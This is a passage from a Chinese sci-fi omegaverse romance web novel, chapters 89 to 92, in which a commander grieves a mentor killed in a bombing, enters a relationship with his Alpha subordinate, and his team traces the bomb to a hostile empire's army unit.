他也没有说话，就这样安静地陪在闻铮身边，和他同频呼吸，只是放出了一点点信息素，试图进行融合和安抚。 “他是我父母的朋友。” 倏地，沙哑的声音在极静的房间内响起。 “我认识利切尔很久了，小时候我叫他利切尔叔叔，长大后我叫他利切尔副局长。” “后来……后来我父母殉职，惊痛浑噩之下，我分化成Omega。他那个时候在外参战，知道了我父母的死讯也赶不回来，三天之内联络了我87次，让我好好地等他回来。” “他让我不要担心，他说有他在，我就有家。” 闻铮自嘲地扯了扯嘴角：“但那时我16岁，我的心和灵魂都已经被愤怒和痛苦塞满，我没有听他的，而是偷渡离开了7号星，连一句再见都没来得及和他说。” 他顿了一下，省略了这些年他在外漂泊，以及那些血和泪的拼搏和艰难，只是说：“等我三年前再回来的时候，他一句重话都没说，一个字都没埋怨我，只是说我瘦了，又问我，我想要什么，他能帮上我什么。” “回来以后，我对他的态度总有些防御和任性，因为我不知道该怎样面对他的纵容和慈爱。这些年来，我一直是一个人，似乎早已经失去了能坦然接受爱和表达爱的能力。” “我……” 他的哽咽让裴简珩的心揪了起来，裴简珩忍不住握住了闻铮的手，而后者没有反抗。 闻铮愿意承认，在这一瞬间、他在这个世界上唯一的家人也离去的瞬间，他真的需要一些支撑，来让自己不要彻底崩溃。 “……我欠他的太多了，而我甚至已经没有机会再回报他。” “裴简珩。” 闻铮把目光移向了他，那双幽深的眼睛深处，竟然是一潭死水：“就在刚刚，我失去了我最后的家人。” 他闭上了眼睛，泪水从他的眼角无声地滑落下来，落入了裴简珩的手心里。 “我又是孤身一人了。” “——您不是孤身一人。” 裴简珩握着他的手，另一只手绕过去揽住了他，声音沉沉：“您还有凯利斯、江悦、瑜淞、暗影组……还有我。我们都会在这里，我也在这里，不管您接下去要做什么，要去哪里，我都一直陪着您。” 他没有扳过闻铮的脸，而是把自己的脸颊轻轻地贴了过去，直到能感受到闻铮脸上的湿意。 “遇到您是我此生最好的事，是您让我熬过所有的苦难和黑暗。我找了您好久，好久好久。” 他低声喃喃：“……求您，让我能一直陪着您。” 闻铮犹豫了一下，虽然对他的话有些不解，但在此刻他也没有多余的精力去思考，只是遵循本能回抱住了他。 他选择不去想这个动作是不是越界，也不去思考裴简珩说的这些动听的话有几分真或几分假。这一刻，他知道自己也许并没有想象中的那么坚不可摧。 在他父母殉职后的16年里，这是他第一次试着去依靠某个人，去允许某个人握着他的手，揽着他的背，也第一次去向某个人倾诉那些他藏在心底的秘密，和肩上背着的重担。 他知道提出肉|体|关系的人是自己，这对他们双方来说也许是当下最好的选择。他也知道他必须和自己的下属保持合适的距离，更清楚在一切结束之前，他没有时间和精力放在其他事情上。 可是…… 闻铮微微低头，把脸埋进了裴简珩的颈窝里，他的鼻尖蹭到了这个Alpha的腺体，鼻腔内也弥漫着沉静的、熟悉的檀木香。 原来被人抱着安慰，竟然是这种感觉。 他轻轻舔去自己落在裴简珩颈窝的眼泪。 好咸。 就这一次。 就这……一次。 …… “星历4012年8月26日，洛河星系7号星的联邦政府总部被炸毁，包括警部局长在内的15名高级军官与警官死亡，三名军官和警官重伤，截至目前，没有任何势力宣布对此负责。” “7号星新任上将段洄在急救舱召开发布会，拒绝了洛河星系的调查援助，宣布成立7号星特案调查组，由暗影组代理指挥官江悦担任特殊调查组指挥官，即日生效。”—— 作者有话说：感谢西江月、秦长歌、34402499、Coco、珍白雪w的营养液！掉落轮椅x1！ 大家昨天浇灌的好多呀[星星眼]小树苗kuku长高！！ 第89章 求您 飞往魁斗星的18天路程, 已经过去了一大半。 在这15天的时间里，DEHWA-2075的气氛也比起之前有些压抑，虽然黎晓、赫尔和程迹并不知道利切尔到底是谁, 但看也看得出来是闻指挥官很重要的人, 所以也都很有眼力见儿的比较老实，就连黎晓都不敢随便咋呼开玩笑了。 第一周, 舰桥指挥室里大家连大气都不敢出，看着闻铮憔悴的神色, 其他人心里也不好受。 到了第二周，这种气氛才好一些, 只是闻铮又瘦了一圈，两颊已经彻底没有肉了, 只余那双锐利的眼睛大得吓人, 眼底的火也燃得滔天。 裴简珩真的很担心, 但又管不了他, 这艘船上没人管得了他, 就算裴简珩再担心再着急，也没有办法管, 更没有……立场管。 直到第三周的晚上，闻铮从舰长椅上站起来, 然后眼前一黑，晕倒在了舰桥上。 恍恍惚惚间，他好像听到了裴简珩的呼喊，以及随后而来的，熟悉又坚实的怀抱。 不知道为什么，他突然感到一阵难以言说的巨大疲惫感，而在这个怀抱里, 闻着沉静的檀木香，闻铮有些安然地闭上眼睛，坠入了短暂的黑暗。 等他再睁开眼睛的时候，却是略显刺眼的白光和天花板。 ——医疗舱。 闻铮微微眯了眯眼，习惯了黑暗的眼睛一时之间有些难以承受这种亮度。 下一秒，一只手伸了过来，在他眼前虚空挡住了强光：“灯光调暗。” 刺眼的白色光变成了柔和的黄光，那只手也缓缓挪开。 闻铮眨眨眼，裴简珩的脸慢慢变得清晰，他轻声道：“谢谢，我晕了多久？” “8个小时！” 赶在裴简珩之前，赫尔的声音倒是先气冲冲地响起。 闻铮把目光移向他，艾尔文医疗官那张精致得宛如假人的脸上正杂糅着四分怒气和六分担心，叉着腰：“几乎不吃饭，根本不睡觉，你以为你这具破烂身体还能撑多久？！” 闻指挥官气若游丝：“……禁止人身攻击。” “你如果不是我上司，我说的话比这个还难听！” 赫尔真的是拿他一点办法都没有，声音也放缓了：“我知道你现在很难受，但你也要为这艘船上的其他人考虑考虑，你垮了，其他人怎么办？” 闻铮默然。 赫尔对着另一边努了努嘴：“喏，你的舵手，火急火燎地把你抱来医疗舱，然后在这儿盯着你到现在，眼睛都熬红了。” 闻铮一怔，一时之间，甚至有些不太敢朝裴简珩那边看过去，有点怕看到他可怜巴巴的样子。 ……不过先等一下，为什么自己要怕他啊？ 还没等闻铮想明白这里面到底哪里莫名其妙，赫尔就把悬浮屏塞到了他的鼻子下面：“闻指挥官，你再看看你的身体指标，越来越少的体重，越来越低的血糖，越飚越高的皮质醇，还有又开始逼近警戒点的信息素阈值——” “我知道了。”闻铮有些虚弱地打断他，无奈，“你放心，我不是有意要折磨自己，我只是需要一些时间来接受和调整。” “但你说得对，我也耗费了太久的时间来悲伤，而忘记了现在面对着更严峻的问题，也忽略了我对你们需要承担的责任。” 他的叹息声轻如羽毛般逸散：“是我不对。” 一向坚韧的闻铮说出这句话，让赫尔也一时之间哑然，只能安慰地按了按他的肩膀，低声道：“别把自己逼得太紧，你倒下了，这个团队就也倒下了。” 赫尔看了一眼一直没说话，只是安静地坐在一边的裴简珩，道：“裴简珩，送闻指挥官回舰长休息舱室吧。” 裴简珩嗯了一声，声音低哑：“闻哥，我送您回去。” “没关系，我可以自己——嗯？” 闻铮一边撑着床要起来，下一秒却浑身酸软地倒了回去，四肢完全没有力气。 “赫尔给您打了营养补剂和其他功能性恢复剂，在生效之前您的身体会疲软无力，是肌肉正在恢复。” 裴简珩一边说，一边把一个东西推了过来，闻铮定睛一看，有些无言。 ——轮椅。 闻指挥官躺在床上，眼睛直视医疗舱的天花板，很有几分破罐子破摔：“……真的有这个必要吗？” 裴简珩道：“您现在走不了路吧？或者我也可以把您抱到休息舱室，我非常乐意——” “轮椅好，”闻铮冷静道，“还没坐过轮椅，我试试。” 裴简珩虽然心底还些着急和生气，但在这个瞬间却也被他逗笑了。 他在病床前弯下腰来，轻柔地把闻铮抱在臂弯里，就像对待一件世间独一无二的珍宝。 好轻。 怀里的人好像没有什么重量，像一片羽毛，轻飘飘地落在了裴简珩的心头。 他把闻铮放在了轮椅上，推着他走出医疗舱。 在和赫尔擦身而过的时候，艾尔文医疗官低声道：“别忘了我嘱咐你的事。” 裴简珩神色一暗，点了点头。 闻铮只是四肢无力，不是聋了，他微微皱眉：“什么事？” 赫尔收声，裴简珩也没说话。 闻铮刚要追问，就被裴简珩一把推着轮椅哧溜出去了。 闻指挥官：“……” 裴简珩无辜地低头看他：“哎呀，手滑了一下。” 闻铮：“……” 你有点茶了。 既然他们不想说，闻铮就也识趣地不追问了。他坐在轮椅上被裴简珩推着穿过三个甲板，气氛一直很沉默。 一直到闻铮已经用虹膜识别刷开自己的舱室，裴简珩也没说话。 他又弯下腰把闻铮从轮椅上抱到床上，细心地把被子也拉过来盖上，不说话，但也不走，就那么站在床边看着闻铮。 闻铮：“……” 他有些艰难道：“……你为什么在生气？” 裴简珩道：“我没资格生气。” 闻铮：“……？” 他差点被裴简珩用被子裹成一只茧，努力地探出上半身，右手拉了一下裴简珩的左手：“别站着了，坐下说。” 裴简珩，一个很有骨气的超S级Alpha基因战士，怎么可能被拉了一下手就乖乖听话。 闻铮整个人被团在被子里，苍白的脸只有巴掌大，还被汗湿的黑发零零散散地遮住了一小半，瘦的只剩那一双漆黑如墨的眼睛，淡极，却也艳极。 他对裴简珩笑了一下，就那一下，裴简珩险些连自己在生什么气都忘了，乖乖地在床边坐了下来。 他极尽眷恋地凝视着闻铮的脸，任谁来看，都要说这张脸美得惊人，越病态越艳丽，越狠厉越冷绝。 而裴简珩在这一刻满心满眼都看不到他的艳，只能看到他惨白如纸的脸色，颧骨突出的两颊和毫无血色的薄唇。 他痛不痛？ 他难不难受？ 为什么明明自己在这里，却还能让他变成这样？ 闻铮歪着头，又重复了一遍：“你为什么在生气？” 裴简珩握住了闻铮的手，他的手好冷好冷，要捂好久才能热起来。 半晌，他才说：“我知道您……很痛苦，那天我也劝您休息一阵，我们已经完全进入了空间迁跃模式，这艘船还有运霖和凯利斯大副，您休息几天完全没问题的。” “为什么……要这么勉强自己？” “发生的一切都不是您的错，十几年前，您只是个少年，突逢巨变想要复仇，是人之常情。”裴简珩凑近了他，甚至胆大包天地把他隔着被子抱进了怀里，“回去以后，您身上背着的重任未销，也在极度危险地走高空钢索，为什么还要自虐一样地责备自己？” 沉默。 过了一会儿，闻铮低声道：“我只是需要找点事做，我需要从这些工作中寻找一点真实，才能让我心安理得地逃避痛苦。” 自从在观测室的陪伴和倾诉之后，闻铮能感受到自己和裴简珩之间的距离拉近了很多，也许痛苦才是亲密的温床，只有互相舔舐过伤口，才能真切地知道对方到底有多痛。 “江悦还没查到线索，我现在找不到人来恨，所以就只能恨我自己。” 闻铮看向裴简珩那双澄澈的蓝色眼睛，里面纯净广袤，宛如宽广包容的海平面。 他动了动手指，回握住裴简珩的手：“那天晚上我没有精力说出口，但我很感谢你在观测室对我的陪伴。如果不是你，我会比现在崩溃得更彻底。” “我没有说过，但我其实有的时候会暗自庆幸，一年前在瑞昂酒店的酒吧里，选择的Alpha是你。” 赫尔给他打的某种补剂有强制进入深度睡眠的效力，现在药效慢慢上来，让闻铮的眼皮都睁不开了。 他微合着双眼，迷迷糊糊地呢喃：“为什么……那次一见到你，我就觉得莫名的熟悉和安心，让我很想靠近你……” “我们此前……真的没见过吗……” “……如果见过，我怎么会……毫无记……” 话音戛然而止，闻铮睡了过去。 裴简珩，他有着四倍听力感官，把闻铮说的每一个字、甚至每一个气音都听得清清楚楚。 他伸手把闻铮黏在额头上的碎发温柔地理开，珍而重之地落下一个吻。 “闻哥，快点想起来……”—— 作者有话说：恭喜小裴获得重大战略性突破！[鼓掌][鼓掌] 感谢西江月、Coco、34402499、吴小鱼的东星斑、秦长歌、珍白雪的营养液！ 掉落同款被子x1！ 第90章 只要能在您身边 江悦看着眼前断壁残垣的废墟, 很难想象这是曾经7号星政府总部的最高层。 她眼前又浮现出那天的火光和惨像，这让她的呼吸都急促了起来。 “江悦！” 林瑜淞蹲在不远处的地上喊她，把她一下子从残影中拉了出来, 她忙道：“来了！” “怎么了, 瑜淞哥你发现什么了？” 江悦小跑过去，看到林瑜淞正用专门的取证机械手从地上拿起了一块东西, 有些犹豫地问：“这是什么？” “不知道，看上去像是某种传感装置。”林瑜淞也摇头, 这东西被烧的焦黑，也确实看不出来什么。 江悦直起身, 环顾了一周，一把抓住正好路过的何首席：“何首席, 这个东西您能看出来是什么吗？” 快两米的何首席整个右臂都套上了专门的勘探机甲臂, 看上去更加的威武雄壮, 江悦站他旁边像一个小手办。 机械臂看上去硕大, 但其实非常灵敏, 悄无声息地伸到了林瑜淞面前，悬停后顺滑地张开了机械五指, 林瑜淞把那块东西放进了机械手心，下一秒它就开始自动扫描和识别。 三分钟后, 何首席神色冷峻起来：“这是一个遥控传感装置，按下后不到一秒，就会引爆爆｜炸｜装｜置。” 林瑜淞和江悦都是一怔。 林瑜淞想到了什么：“我刚看到上面好像有什么花纹，但被遮住了，何首席有什么办法能看到它原本的样子吗？” 何首席操作了几下机甲臂，随后拎出了一块三维悬浮屏：“在这里——这是什么标志？” 在放大十倍后的三维图中，有一块圆形的徽章, 黑色的杂乱线条互相缠绕，托举着最中间的一把血红的枪。 江悦也有些摸不到头脑，林瑜淞却缓缓站直了身体，神色冰冷：“这是哨兵1军的军徽。” 他看着江悦和何首席瞪大的眼睛，一字一顿道：“德瓦帝国军部，哨兵1军的军徽。” …… “你来了，这次你没迟到。” 又是河边的老地点，这次林瑜淞确实是踩着点到的。 黑西服覆面人看着满脸阴沉的林瑜淞，率先开口：“你看起来很愤怒，看起来像有什么事情要质问我。” “是你做的吗？是你们做的吗？” 林瑜淞也不隐瞒，直截了当地问：“你到底是谁，你们到底是什么势力？我一直以为你是德瓦人，但你并不是。” 即使这个覆面人一直带着面具，但林瑜淞也能从他其他裸露的皮肤，比如脖颈和手，看得出来他并不是黑色光滑的皮肤，所以并不是德瓦人种。 “你不需要知道这么多，”覆面人说，“还轮不到你来质问我。” 林瑜淞定定地看着他：“我以为我们在合作。” 覆面人嗬嗬地笑起来：“不，是我在利用你。” “既然如此，没有什么合作的必要了，”林瑜淞的声音也冷硬起来，“你把整个7号星的领导核心毁了三分之二，整个政｜治｜局｜势都将大洗牌，从此进入由上至下的混乱，我不知道你在做什么——” “这是在帮你，别不知好歹。” 覆面人慢悠悠地说：“先破，方而后立。” 林瑜淞眯起眼：“所以你承认是你做的了，哨兵1军。” “哦？” 覆面人眼底惊讶之色一闪而过，沉吟了一瞬，方才恍然：“……原来如此。” 他往后微倾，靠在了河边的栏杆上：“这不是我的功劳，但没关系，这不重要，反正所有人都可以得到自己想要的。” “别装出一副悲天悯人的样子，林瑜淞，我可以直接地告诉你，7号星马上就会成为战争的中心，届时，我需要一个可以帮助我的人在这里主持大局，合作也好，利用也罢，这个人就是你，时势才会造就一个人。” 林瑜淞缓缓摇头，退后一步：“……你在毁了这颗星球。” “也许吧，有一句话我很认可，匹夫无罪怀璧其罪，这颗落后的星球有着它自己都没意识到的宝物，就只能沦为被争夺的猎物。” 覆面人的眼睛幽深又晦暗，就好像一条年迈又恶毒的蛇。 “与万物争斗，是宇宙下达的宿命，不以个体的意志为转移。只有掠夺才是生存的唯一法则。” 闻言，林瑜淞情不自禁地退后一步，猛地抬头错愕地看向他，如遭雷击！ …… 好久没有睡得这么好了。 闻铮眼睛依然闭着，感受着充盈在四肢末梢的酥麻感，这种深度睡眠给他带来的充能实在是太明显了，他很久没有觉得自己的大脑如此清醒过。 而在他睁开眼睛之前，他的鼻腔先嗅到了檀木的香气，身上也传来了被环抱的触感。 鸦羽般的睫毛轻颤，闻铮睁开了眼，眼前是昏暗的舱室，只有墙上有几盏微弱的小夜灯在散发着余晖。 那双臂膀把他抱得很紧，像很怕失去他一样，全身心地拥过来。因为体型差的关系，闻铮被全方位地包裹住了，也许睡得好也有这个原因，被自己的Alpha那种熟悉的、信任的气味所包裹，让他感受到了十几年没有过的安全感。 他艰难地翻了个身，裴简珩把他抱得太紧，以至于不想吵醒他的话，闻铮只能慢慢地挪动。 侧过身后，闻铮终于可以借着夜灯的光，安静地凝视裴简珩熟睡的面容。 多么年轻又俊美的一张脸，闻铮想着，怎么就对自己这块又冷又倔的顽石这么执着呢。 他自己都没意识到，他的右手正在虚空描摹着裴简珩的轮廓，很轻，也很温柔。 他对自己被睡意笼罩之前说的话有印象，那确实是他的真实想法。 一年前他在瑞昂酒吧，哪怕是抱着要随机找一个A级以上Alpha调节信息素的想法，他也一连拒绝了很多人。 不知道为什么，总有一个声音在心底告诉他，不是他们！不是！ 而当银发Alpha坐在他旁边的时候，有一种莫名的熟悉感和安心感从闻铮心底翻了上来，那个声音在说，是他！是他！ 只是当时太过于灯红酒绿衣香鬓影，那个声音被忽略了。 而在一年后的现在，又不期然地重新回溯了起来。 闻铮知道自己没有那帮搞物理的那么聪明，但也不是蠢货。 一年前在酒吧里那次一夜｜情，绝对不是他们的初相见。 只是不知为何，他完全不记得裴简珩这个人，也不记得这张脸。 怎么会……怎么会？ 裴简珩不是那种会让人过目既忘的人，相反，很难有人在看见他之后还会忘记这种出类拔萃的Alpha，自己更不可能。 如果自己不记得，那裴简珩记得吗？ 从一年前瑞昂酒吧的一夜情，到一年后7号星的空降，再到如今在同一张床上的四肢|交|缠，都是他有意而为的吗？ 想到这儿，闻铮停下了无意识描摹他轮廓的动作，而下一刻，裴简珩似有所感，抬起手牢牢地握住了闻铮的手腕，也抖动着眼睫睁开眼睛。 墨黑与湛蓝在半空中交汇，裴简珩对他温柔一笑：“……闻哥。” 他虚虚地圈着闻铮的手腕，把他更紧地搂在了怀里，一个轻柔的吻落在了闻铮的额际：“睡得还好吗？” 闻铮被按在他的心口，听着他咚咚咚急如擂鼓的心跳声，轻轻地“嗯”了一声。 “那就好，”裴简珩刚醒的声音磁性又沙哑，在闻铮耳边响起的时候，让他甚至有几分战栗，“不然我真的很担心。” 闻铮沉默了一会儿，还是又问出口了：“我们之前认识，对吗？” 裴简珩顿了一下，若无其事：“上次已经和您坦白了，一年前那次确实是我，我也是为了您来到7号星加入暗影组的，我的隐瞒是我不好——” “你知道我问的不是这个。”闻铮打断了他，“在第一次上床之前，我们就认识了，对吗？” 裴简珩没有说话，闻铮从他胸口抬起脸看过去，看到了Alpha那双湛蓝色眼睛深处的痛苦。 他喃喃道：“为什么我不记得？为什么你就是不肯说？” “……” 他没有再逼裴简珩，只是定定地看着他的眼睛：“你曾经说过，你有一个暗恋了很久的人，你只喜欢他。” “这个人，是谁？” 裴简珩迎上他的目光，在自己唯一深爱之人的眼神中投降了。 “是您，闻哥。” Alpha伸手捧住了他的脸，连气声都在颤抖：“我一直深爱着的人，只有您。” “……” 闻铮在他的手心里，颤抖着闭上了眼睛。 半晌，他才说道：“我……我还有许多未完之事，我也不知道在完成这些事之后，我还能否活下来。” “这些感情也好，陪伴也罢，对目前的我来说，都不是第一顺位的事情。我承认我对你有好感，也感激你对我的支持和陪伴，甚至……有一部分的我也已经开始依赖这种支持和陪伴。” 他的声音慢慢低了下去，很轻：“……但裴简珩，我依然无法承诺你什么，我不知道还能再给你什么，我甚至对自己都无法负责，这对你来说太不公平——” “公不公平让我来决定，好吗？” 裴简珩捧着他的脸，轻轻地、虔诚地吻了上去。 轻如鸿毛又重若千钧的一个吻，落在了闻铮的唇上。 “您已经给了我太多的东西，您从深渊中拯救了我。” “我想要您健康快乐，我想要爱您，也想您能爱我，这就是我想要的全部。” “所以没有什么不公平，只要能陪在您身边，我什么都愿意。” 泪水犹如断了线的珍珠，从闻铮紧闭着的眼角一颗一颗地落了下来。 闻铮第一次孤注一掷，是十六岁那年伪装成Alpha，抛弃一切决意参军； 第二次孤注一掷，是为了寻求真相，在三十岁毅然退役； 第三次孤注一掷，是三十三岁的他，环住裴简珩脖颈的一次慨然回吻—— 作者有话说：恭喜闻哥和小裴终于在一起啦！！小裴追星成功，闻哥以后的路也不用自己一个人扛啦！ 撒花！！ 也感谢大家耐心等到现在！评论区有惊喜掉落哦！[亲亲][亲亲] （顺便，有可能的话明天记得稍微早点来，我晚上十点准时存稿箱发布，懂我意思嗷[狗头]）《 》 90-100 第91章 裴简珩，我不会爱人 “所以, ” 一种新关系的开启总会伴随着改变的尴尬，闻铮一时之间也想不到其他的话题，只得再把睡觉前被岔开的问题拿回来：“赫尔到底和你说了什么？” 裴简珩：“……” 他摸了摸鼻尖：“呃, 赫尔的意思是, 您的信息素和激素指标又开始到达危险临界点了，可能和您的生理情况和心理压力有关系, 让我建议您……调整一下。” “调整一下。” 闻铮把这四个字在嘴里嚼了半天，眯起眼睛睨了裴简珩一眼：“很委婉的说法。” 他睨过去的时候, 裴简珩正无辜地看着他，眉眼含笑, 似乎得到了闻铮就是得到了全世界最珍贵的宝物，让他一秒钟都舍不得把目光移开。 闻铮被他的眼神看得耳后泛红, 为了掩盖这种赧然, 他翻身跨｜坐在了裴简珩的腰上, 把他按在了自己身|下：“我不喜欢被医生监控并催促我的性|生活, 我相信你也一样。” 裴简珩弯了弯眼睛, 伸手抱他：“当然。” 闻铮的手顺着他的脸滑落到了他的脖颈，轻柔地按上了他的Alpha腺体。 任何Alpha在被摸到自己腺体的时候都不可能无动于衷, 这是根植在人类本能里面的防备和恐惧，就连裴简珩, 被摸到腺体的一瞬间都绷直了核心—— ——闻铮当然知道，他能感受到那个和自己紧紧贴合的地方正在绷紧用劲。 他垂眼看着这个年轻的Alpha、出色的下属、高度适配的床伴和……新鲜出炉的情人，三个月之内关系的几度转变，让他心里也五味杂陈。 他俯下身，轻轻叼住了Alpha的腺体。 没人敢对Alpha的腺体进行如此侵略性的行为，裴简珩闷哼一声，几乎用尽浑身解数让自己不要被本能控制而暴起。 “裴简珩, 我不会爱人，也没爱过人，但我知道爱的基础是毫无保留的信任。” 闻铮含着他的腺体，有些含糊不清地低喃，但裴简珩能把每一个字都听清楚。 “也许我们内心深处都信任彼此，但仍然有各自的秘密需要坚守。” 在闻铮又一次舔|舐|过他腺体中心的时候，裴简珩终于克制不住，猛地翻身把他牢牢地压在身下，双眼赤红地噙｜住了闻铮后颈，叼住了那块替代腺体的紫黑色疤痕。 浓度极高的Alpha信息素强硬地灌｜进了仅有3%的残缺腺体里，第一次在清醒时刻感受到这种快||感冲击的闻铮低哼一声，难以自控地仰起头，素白修长的脖颈就这样袒||露在裴简珩面前。 裴简珩把唇舌从闻铮的颈侧绕回到颈前，吻了又吻。 “我对您没有需要坚守的秘密，”他低声喃喃，“只是时机未到，闻哥，只是时机未到。” 闻铮张了张嘴，原本想问他，如果他们早就认识，他到底知不知道自己是谁。 但转念一想，知道如何，不知道又如何。也许这层窗户纸也未必需要在此刻捅破，也许就和裴简珩说的一样，确实是时机未到。 他回抱住了裴简珩，感受着他的背肌和腰的用力，放纵自己就此沉溺了下去。 …… 在闻铮晕倒后的第28个小时，他终于又回到了舰桥上。 看到他走进舰桥，瘦削的身材依然脊背挺直，状态却和晕倒之前截然不同，凯利斯是真的松了一口气。 他从舰长椅上站起来，把指挥权还给了闻铮。 闻铮缓缓坐下：“凯利斯，这段时间7号星有进一步的消息传来吗？” 凯利斯颔首：“江悦发来了通讯，她说在恐袭现场发现了一个传感器，上面有德瓦帝国哨兵1军的军徽。” 说着，他分裂出一块悬浮屏滑给闻铮：“在这里。” 果然……是德瓦帝国。 闻铮垂眼看去，确实是哨兵1军的军徽，他和他们打过交道。当年他父母的殉职，是因为哨兵1军，现在利切尔的死，又是因为哨兵1军。 看来他和这个奥克斯·奴瓦辛戈，还真是要不死不休了。 这时，舰桥指挥室的自动门又打开了，裴简珩走了进来。 闻铮瞥了他一眼，随后收回目光，什么都没说。 在刚刚的……关系确认之后，他已经和裴简珩达成一致，在合适的时机出现以前，他们的关系会对所有人保密。 ……当然，赫尔除外。 毕竟艾尔文医疗官对他们的生理指标具有100%的知情权，光是从数据表现就能看出来这一对AO到底啥关系，瞒也瞒不住。 所以裴简珩也没说什么，只是路过舰长席的时候对他笑着颔首：“闻哥，真高兴您恢复了。” 闻铮：“……” 他干巴巴地说了一句谢谢，又转而去看悬浮屏，提出了一个逻辑问题：“只有传感器没用，需要有人操作才行。如果我没记错，政府总部大楼周围有防护力场，外界无法控制内部信号。所以有人潜进了总部，甚至……” “……潜进了高层会议里。”凯利斯点了点头，“江悦也想到了这一点，她正在排查参会的这些军部和警部的高层，目前有一个怀疑对象。” 他把一个三维影像投掷到主屏幕上，舰桥上所有人都看得到：“这是军部的一个中校，他家人名下的账户在近期内被转入了一大笔钱，具体的来源还在调查中，也不排除有其他可能。” 闻铮看着那个中校的三维照片，很眼生，是人类Alpha。 他心里微微一动，总觉得有哪里不对。 但他相信自己组里的人，不会查错的。 “裴简珩，”闻铮出声问道，“距离魁斗星还有多久？” Alpha舵手看了一下剩余路程：“51个小时。” 闻铮右手手指在舰长椅扶手上敲打了几下，转过去问正在首席科学家工位上的程迹：“程院士——” 程迹用茱莉那双棕色的眼睛认真地看着他，进行纠正：“我是茱莉。” 闻铮：“……” 闻指挥官对这位偏爱女装的北极兔科学家一时无言，还是很尊重地转变了称谓：“……茱莉，你有魁斗星的资料吗？我们需要想个办法降落补充能源。” “补充能源只能去太空港了，”程迹把魁斗星的地图翻出来投屏到主屏幕上，“好消息是魁斗星作为中立区，有很多私人商业太空港，给钱就行。” 闻铮看着地图上被标注出来的几个私人商业太空港，沉思：“哪怕在魁斗星，我们也很显眼。这是一艘德瓦战舰，但我们却是联邦的人。” “咦？” 裴简珩把转椅转了过来：“……不好意思，我在提议前往魁斗星的时候没说吗？我们可以去其中一个最大的私人商业太空港的，私密性很高，不会走漏消息的。” 他隔空点了几下屏幕，把画面放大到其中一个太空港上。 “你没说。”闻铮双手环胸，微微眯起眼：“你很信任这家私人的太空港吗？” “相比较而言，是的。” 裴简珩摸了摸鼻尖，谦逊一笑：“因为这个私人太空港，是我的。” “……” 舰桥指挥室里剩下的四个人，在沉默过后，整齐地翻了个白眼。 为什么是四个人，因为艾尔文医疗官也在。 这艘船上一共也就这么几个人，他也没有什么在医疗舱值班的意义，毕竟这里面现在身体最差的人是他们的舰长，所以他就也到舰桥来机动了 赫尔的白眼翻得最大，他是这艘船上唯一一个知道裴简珩真实身份的人，有的时候真的会仇富！ 凯利斯用胳膊肘捅了捅他，小声蛐蛐：“裴简珩这小子到底是什么来头？能拥有一个太空港，这可不是一般的有钱啊！” 赫尔虽然仇富，但对朋友倒是很忠诚，把守口如瓶四个字贯彻到底：“你要不还是直接问他吧，我也不好说。但我只能说，这种太空港，他应该名下有不止十个。” 凯利斯：“……” 凯利斯：“…………” 金发大副扶住了自己的战术官座椅靠背，觉得自己有点头晕目眩。 他的家庭条件也还不错，资产也算是中等偏上，在首都星和星舰军校的时候也没少见过一些有钱人，但夸张到裴简珩这个地步的还是第一次见。 他小声嘟囔：“这也太离谱了……就算是艾德莱斯五星上将家里也没这么夸张吧……” 艾德莱斯五星上将是目前联邦星舰军部的军衔和等级最高的一位Alpha，他的Omega配偶更是连续十几年稳居联邦富豪榜前三名。 赫尔望天。 早晚你们都会习惯的，然后和我一起仇富。 “滴滴——” 通讯请求的声音传来，凯利斯低头看了一眼通讯面板：“闻哥，有个私密频道发来通讯请求，我不知道是谁。” “转到我的通讯上来。”闻铮道，凯利斯照做以后，他低头看了一眼通讯频道ID，竟然站起身走出了舰桥。 凯利斯一愣，这么私密？连他们都要避开？ 而闻铮在走出舰桥以后，直奔最近的一个小型会议室，进去以后才按下了接听。 “……怎么了？”—— 作者有话说：小剧场： 闻哥：关系先暂时保密，你介意吗？ 小裴：不介意，地下恋情play也是别有一番风味^^ 第92章 蓟梨草 裴简珩眼看着他的闻哥接了那个私密通讯后, 急匆匆地走出了舰桥，二十分钟后又回来了，脸色阴沉得有点可怕。 闻铮倒是没瞒着他们, 回到舰桥以后就把信息共享了出来：“破晓号上的动力舱, 尤其是空间迁跃动力被人做了手脚，这个刚刚程迹……茱莉和黎晓已经发现了。” 沉默了一下, 他又说：“……是7号星的黑西装覆面人做的。” 闻言，程迹和赫尔还不明所以, 知道更多事情的裴简珩和凯利斯一惊：“谁？！” 闻铮脸色不好看地颔首：“关于这个人的身份，我们此前推断过必定是警部或军部系统里的人, 才能有权限把欧睿被抹去的犯罪记录又恢复。他一手推动了欧睿的死亡和欧赫的下台，现在又在破晓号的动力舱上做手脚, 他要做的事情, 确实是有些扑朔迷离。” “现在看下来, 这些事情里面一共有两条线。” “第一条是掺杂了蓟梨草和B-356的非法致幻剂, 根据不同剂量的调配售卖给人类, 尤其是人类Alpha，这种明显的实验意味已经被证实是德瓦帝国的势力。而但丁的尸体不翼而飞, 也从侧面印证了他和那个蛇属的艾尼默人一样，极有可能是德瓦人。” “第二条是戈维和欧睿的凶杀案。看似是个人复仇的故事, 由此却在7号星形成了舆论引爆，主和派欧赫被逐出政治舞台，空降了一个主战派的段洄。” 闻铮一边说，一边也在心里梳理这背后的逻辑：“……而这个覆面人正是这两条线的交点，他认识但丁，欧睿也认识他。我曾经以为他是德瓦人，但戈维又说他不是, 我就卡在了他的身份上。但如果他也能改变身份成为艾尼默人或人类，由此混在7号星上呢？” 他一边说，一边瞥了凯利斯和裴简珩一眼，看后者若有所思，出声问道：“裴简珩，你在想什么？” 裴简珩犹豫了一下，还是开口：“闻哥，上次您说过，直觉告诉您，戈维的死不是欧赫做的，现在看来，会不会也是覆面人进行的灭口？” 闻铮一怔：“……你是说，戈维还是知道了一些他自己都没意识到的东西？” 沉默了一瞬，他轻轻地叹了口气：“小朋友已经宣告死亡了，不管他知道了什么，我们也都无从得知了。” 另一边，赫尔站在程迹旁边，低声问：“你能听懂他们在说什么吗？” 程迹歪头：“我只是生物和物理学家，不是高维生物，没经历的事情我怎么会知道。” “不过我倒确实有个问题，”他把视线移到赫尔身上，“那个B-356和什么蓟梨草，是什么东西？” 赫尔迎上他的目光，一瞬间恍然！ 真正的生物学家不就站在这里吗？ “闻，”赫尔出声，“鉴于你刚刚提到了蓟梨草和B-356，上次你让我研究的结果，要听一下吗？” 闻铮看过来：“你有什么发现？” 赫尔拉出了一块医疗舱的悬浮屏，若有所思：“我的植物生物学也不好，只能看出来现在这些草已经和B-356物质进行部分融合了，所以才会刺激——” 他差点说漏嘴，电光火石之间赶紧改口：“——人体数据指标，但进一步的分析我很难做出来，植物生物学对我来说还是太难了。” 